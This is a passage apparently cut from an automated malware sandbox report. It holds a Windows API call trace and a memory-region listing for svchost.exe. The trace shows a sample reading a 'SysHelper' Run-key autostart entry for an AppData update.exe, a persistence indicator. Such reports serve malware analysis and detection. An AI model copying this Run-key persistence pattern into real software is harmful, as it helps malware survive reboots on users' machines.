wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.823] Sleep (dwMilliseconds=0x1) [0061.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.827] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.872] CloseHandle (hObject=0x4c0) returned 1 [0061.874] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.874] Sleep (dwMilliseconds=0x1) [0061.896] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.896] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.920] CloseHandle (hObject=0x4c0) returned 1 [0061.920] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.920] Sleep (dwMilliseconds=0x1) [0061.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.935] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.957] CloseHandle (hObject=0x4c0) returned 1 [0061.957] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.957] Sleep (dwMilliseconds=0x1) [0061.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.966] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.987] CloseHandle (hObject=0x4c0) returned 1 [0061.987] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.987] Sleep (dwMilliseconds=0x1) [0061.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.996] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.012] CloseHandle (hObject=0x4c0) returned 1 [0062.012] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.012] Sleep (dwMilliseconds=0x1) [0062.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.027] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.044] CloseHandle (hObject=0x4c0) returned 1 [0062.044] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.044] Sleep (dwMilliseconds=0x1) [0062.063] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.063] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.074] CloseHandle (hObject=0x4c0) returned 1 [0062.074] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.074] Sleep (dwMilliseconds=0x1) [0062.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.090] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.107] CloseHandle (hObject=0x4c0) returned 1 [0062.107] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.107] Sleep (dwMilliseconds=0x1) [0062.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.121] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.137] CloseHandle (hObject=0x4c0) returned 1 [0062.137] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.137] Sleep (dwMilliseconds=0x1) [0062.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.153] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.176] CloseHandle (hObject=0x4c0) returned 1 [0062.176] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.176] Sleep (dwMilliseconds=0x1) [0062.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.183] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.199] CloseHandle (hObject=0x4c0) returned 1 [0062.199] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.199] Sleep (dwMilliseconds=0x1) [0062.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.218] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.231] CloseHandle (hObject=0x4c0) returned 1 [0062.231] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.231] Sleep (dwMilliseconds=0x1) [0062.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.246] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.262] CloseHandle (hObject=0x4c0) returned 1 [0062.262] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.262] Sleep (dwMilliseconds=0x1) [0062.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.277] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0062.293] CloseHandle (hObject=0x4c0) returned 1 [0062.293] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0062.293] Sleep (dwMilliseconds=0x1) [0062.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0062.308] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x0 [0062.323] CloseHandle (hObject=0x4c0) returned 1 [0062.323] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x874ce6c | out: phkResult=0x874ce6c*=0x4c0) returned 0x0 [0062.323] RegQueryValueExW (in: hKey=0x4c0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x874ce60, lpData=0x874df40, lpcbData=0x874ce88*=0x400 | out: lpType=0x874ce60*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --AutoStart", lpcbData=0x874ce88*=0xd4) returned 0x0 [0062.323] RegCloseKey (hKey=0x4c0) returned 0x0 [0062.323] lstrlenA (lpString="\" --AutoStart") returned 13 [0062.323] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 1 [0062.323] GetCurrentProcess () returned 0xffffffff [0062.323] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x874ff84 | out: lpExitCode=0x874ff84*=0x103) returned 1 [0062.323] TerminateProcess (hProcess=0xffffffff, uExitCode=0x103) Thread: id = 42 os_tid = 0x9c8 [0058.433] timeGetTime () returned 0x1b624 [0058.433] GetLastError () returned 0x0 [0058.433] GetCurrentThreadId () returned 0x9c8 [0058.433] SetLastError (dwErrCode=0x0) [0058.434] Sleep (dwMilliseconds=0x2bf20) Thread: id = 43 os_tid = 0x9d4 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9c04000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x904" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dd65" [0xc000000f], "LOCAL" [0x7] Region: id = 438 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 439 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 440 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 441 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 442 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 443 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 444 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 445 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 446 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 447 start_va = 0x100000 end_va = 0x103fff entry_point = 0x100000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 448 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 449 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 450 start_va = 0x210000 end_va = 0x220fff entry_point = 0x210000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 451 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 452 start_va = 0x330000 end_va = 0x331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 453 start_va = 0x340000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 454 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 455 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 456 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 457 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 458 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 459 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 460 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 461 start_va = 0x800000 end_va = 0x8bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 462 start_va = 0x8c0000 end_va = 0xcb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 463 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 464 start_va = 0xd60000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 465 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 466 start_va = 0xf40000 end_va = 0x120efff entry_point = 0xf40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 467 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 468 start_va = 0x12e0000 end_va = 0x135ffff entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 469 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 470 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 471 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 472 start_va = 0x15c0000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 473 start_va = 0x1770000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 474 start_va = 0x1800000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 475 start_va = 0x18b0000 end_va = 0x18bffff entry_point = 0x0 region_type = private name = "private_0x00000000018b0000" filename = "" Region: id = 476 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 477 start_va = 0x1a70000 end_va = 0x1b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 478 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 479 start_va = 0x1ce0000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 480 start_va = 0x1d60000 end_va = 0x1e1ffff entry_point = 0x1d60000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 481 start_va = 0x1ea0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 482 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 483 start_va = 0x2050000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 484 start_va = 0x73e50000 end_va = 0x73e52fff entry_point = 0x73e50000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 485 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 486 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 487 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 488 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 489 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 490 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 491 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 492 start_va = 0x7fef69e0000 end_va = 0x7fef69f8fff entry_point = 0x7fef69e0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 493 start_va = 0x7fef6a00000 end_va = 0x7fef6a14fff entry_point = 0x7fef6a00000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 494 start_va = 0x7fef6a30000 end_va = 0x7fef6a3afff entry_point = 0x7fef6a30000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 495 start_va = 0x7fef7750000 end_va = 0x7fef7768fff entry_point = 0x7fef7750000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 496 start_va = 0x7fef7770000 end_va = 0x7fef777ffff entry_point = 0x7fef7770000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 497 start_va = 0x7fef7780000 end_va = 0x7fef7791fff entry_point = 0x7fef7780000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 498 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 499 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 500 start_va = 0x7fef8740000 end_va = 0x7fef87bbfff entry_point = 0x7fef8740000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 501 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 502 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 503 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 504 start_va = 0x7fefaf30000 end_va = 0x7fefaf39fff entry_point = 0x7fefaf30000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 505 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 506 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 507 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 508 start_va = 0x7fefb050000 end_va = 0x7fefb05bfff entry_point = 0x7fefb050000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 509 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 510 start_va = 0x7fefb590000 end_va = 0x7fefb667fff entry_point = 0x7fefb590000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 511 start_va = 0x7fefb700000 end_va = 0x7fefb70bfff entry_point = 0x7fefb700000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 512 start_va = 0x7fefb830000 end_va = 0x7fefb837fff entry_point = 0x7fefb830000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 513 start_va = 0x7fefb8c0000 end_va = 0x7fefb933fff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 514 start_va = 0x7fefbae0000 end_va = 0x7fefbaf7fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 515 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 516 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 517 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 518 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 519 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 520 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 521 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 522 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 523 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 524 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 525 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 526 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 527 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 528 start_va = 0x7fefd4c0000 end_va = 0x7fefd550fff entry_point = 0x7fefd4c0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 529 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 530 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 531 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 532 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 533 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 534 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 535 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 536 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 537 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = 